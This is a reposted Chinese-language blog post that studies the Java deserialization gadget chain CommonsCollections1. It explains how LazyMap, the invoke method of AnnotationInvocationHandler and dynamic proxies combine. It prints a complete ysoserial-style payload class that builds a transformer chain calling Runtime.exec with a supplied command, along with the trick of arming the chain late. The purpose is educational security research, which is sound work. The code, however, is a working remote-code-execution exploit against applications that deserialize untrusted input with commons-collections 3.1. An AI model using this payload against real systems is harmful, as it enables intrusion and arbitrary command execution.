ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

反序列化Gadget学习篇三 CommonCollections1

2021-07-15 12:34:57  阅读:197  来源: 互联网

标签:Map LazyMap get CommonCollections1 Gadget Object new 序列化 class


上篇提到了CC0.5 使用的是TransformedMap,但是如果阅读ysoserial的源码会发现,CommonCollections1并没有用到TransformedMap,而是LazyMap。

LazyMap是什么

LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的factory.transform。其实这也好理解,LazyMap的作用是“懒加载”,在get找不到值的时候,它会调factory.transform方法去获取一个值:

// LazyMap.get():
    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
        // 这个factory就是一个Transformer
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        } else {
            return super.map.get(key);
        }
    }

看LazyMap的源码可以看到,一般是调用static decorate 方法,传入一个Transformer或者Transformer的factory,初始化一个LazyMap对象并返回:

这样就得到了一个LazyMap对象,只要调用这个对象的get方法,传入一个不存在的键,就会调用TransformerChain完成命令执行。
但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,因为在sun.reflect.annotation.AnnotationInvocationHandler的readObject方法中并没有直接调用到Map的get方法。
所以ysoserial用了另一个路线,AnnotationInvocationHandler类的invoke方法,调用了get:

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                // get调用点
                Object var6 = this.memberValues.get(var4);
                // get调用点
                if (var6 == null) {
                    throw new IncompleteAnnotationException(this.type, var4);
                } else if (var6 instanceof ExceptionProxy) {
                    throw ((ExceptionProxy)var6).generateException();
                } else {
                    if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                        var6 = this.cloneArray(var6);
                    }

                    return var6;
                }
            }
        }
    }

思路变成了 AnnotationInvocationHandler#invoke -> LazyMap#get -> TransformChain -> runtime.exec 下面一个问题就是如何在反序列化的过程中调用到AnnotationInvocationHandler.invoke。ysoserial使用的是Java的代理

Java动态代理

一定要理解Java动态代理在干什么,调用流程是什么。
代理的目的是增强被代理类的功能,但是实际使用的过程中也可以不去调用原来的方法,就实现了类似hook。
动态代理类必须要实现InvocationHandler接口的invoke方法
这个过程会用到java.lang.reflect.Proxy,主要是newProxyInstance和getProxyClass方法,一个是实例化一个新代理对象,返回实例,第二个是获取代理对象的java.lang.Class对象。
关键的一行代码,实例化一个代理类:

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

三个参数,第一个是ClassLoader,第二个是需要代理的对象合集(接口列表),第三个是InvocationHandler接口的对象,里面包含具体的逻辑代码,包括要操作的对象(在实例化时传入),增强的方法,和原来的方法调用(method.invoke())

public class ExampleInvocationHandler implements InvocationHandler {
    protected Map map;

    public ExampleInvocationHandler(Map map){
        this.map = map;
    }

    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        //判断如果函数名是get,就返回一个Hacked Object
        if (method.getName().compareTo("get") == 0){
            System.out.println("Hook method: +" + method.getName());
            return "Hacked Object";
        }
        //否则正常调用函数
        return method.invoke(this.map, args);
    }
}

实例化调用,运行可以发现,虽然Map中放入的hello值为world,但是获取到的结果是hacked Object

public class App {
    public static void main(String[] args) {
        InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        proxyMap.put("hello", "world");
        String result = (String)proxyMap.get("hello");
        System.out.println(result);

    }
}

组合

通过名字也可以看出,AnnotationInvocationHandler本身就是一个InvocationHandler接口的实现类,我们用Proxy对这个对象进行代理,在readObject的时候,只要调用我们用LazyMap.decorate初始化的Map的任意方法,都会执行到AnnotationInvocationHandler#invoke,触发LazyMap#get。
有了CC0的基础,直接修改代码。首先用LazyMap替换TransformerMap,

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

CC0直接把AnnotationInvocationHandler对象序列化了, 这里我们要对这个对象进行代理

// handle 是绑定了outermap的AnnotationInvocationHandler
InvocationHandler handle = (InvocationHandler)constructor.newInstance(Retention.class, outerMap);

Map proxymap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handle);

返回的是一个Map,无法直接序列化,我们的入口还是AnnotationInvocationHandler,因此要再封装一层:

InvocationHandler handler2 = (InvocationHandler) constructor.newInstance(Retention.class, proxymap);

把handler2序列化发送,即可触发。总的顺序:
初始化恶意transformerChain -> 绑定到一个Map -> Map绑定到AnnotationInvocationHandler -> 对AnnotationInvocationHandler进行代理得到Map2 -> Map2再绑定到AnnotationInvocationHandler2 ->序列化发送

ysoserial的其他操作

yaoserial在返回对象前,还有一个步骤:

Reflections.setFieldValue(transformerChain, "iTransformers", transformers); 

反射修改transformerChain的iTransformers值为恶意的transformers,也就是在最后一步前才把恶意的transformers设置好。
原因是在使用Proxy代理了map对象后,我们在任何地方执行map的方法就会触发Payload弹出计算器,所以,在本地调试代码的时候,因为调试器会在下面调用一些toString之类的方法,导致不经意间触发了命令。

总结

这部分分析了LazyMap的作用,构造了poc,但是LazyMap仍然无法解决决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题。因此这两个利用链实际上可使用的范围基本相似。在更高版本上需要使用其他的Gadget。

完整代码:

package qtyso.payloads;

import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import qtyso.payloads.annotation.Authors;
import qtyso.payloads.annotation.Dependencies;
import qtyso.payloads.annotation.PayloadTest;
import qtyso.payloads.util.Gadgets;
import qtyso.payloads.util.JavaVersion;
import qtyso.payloads.util.PayloadRunner;
import qtyso.payloads.util.Reflections;

/*
    Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()
                            ChainedTransformer.transform()
                                ConstantTransformer.transform()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Class.getMethod()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.getRuntime()
                                InvokerTransformer.transform()
                                    Method.invoke()
                                        Runtime.exec()

    Requires:
        commons-collections
 */
@SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF })
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                    String.class, Class[].class }, new Object[] {
                    "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                    Object.class, Object[].class }, new Object[] {
                    null, new Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

        Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

        return handler;
    }

    public static void main(final String[] args) throws Exception {
        PayloadRunner.run(CommonsCollections1.class, args);
    }

    public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

参考链接

https://www.slideshare.net/frohoff1/deserialize-my-shorts-or-how-i-learned-to-start-worrying-and-hate-java-object-deserialization
https://www.slideshare.net/codewhitesec/exploiting-deserialization-vulnerabilities-in-java-54707478
https://www.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class

标签:Map,LazyMap,get,CommonCollections1,Gadget,Object,new,序列化,class
来源: https://www.cnblogs.com/chengez/p/CommonCollections1.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有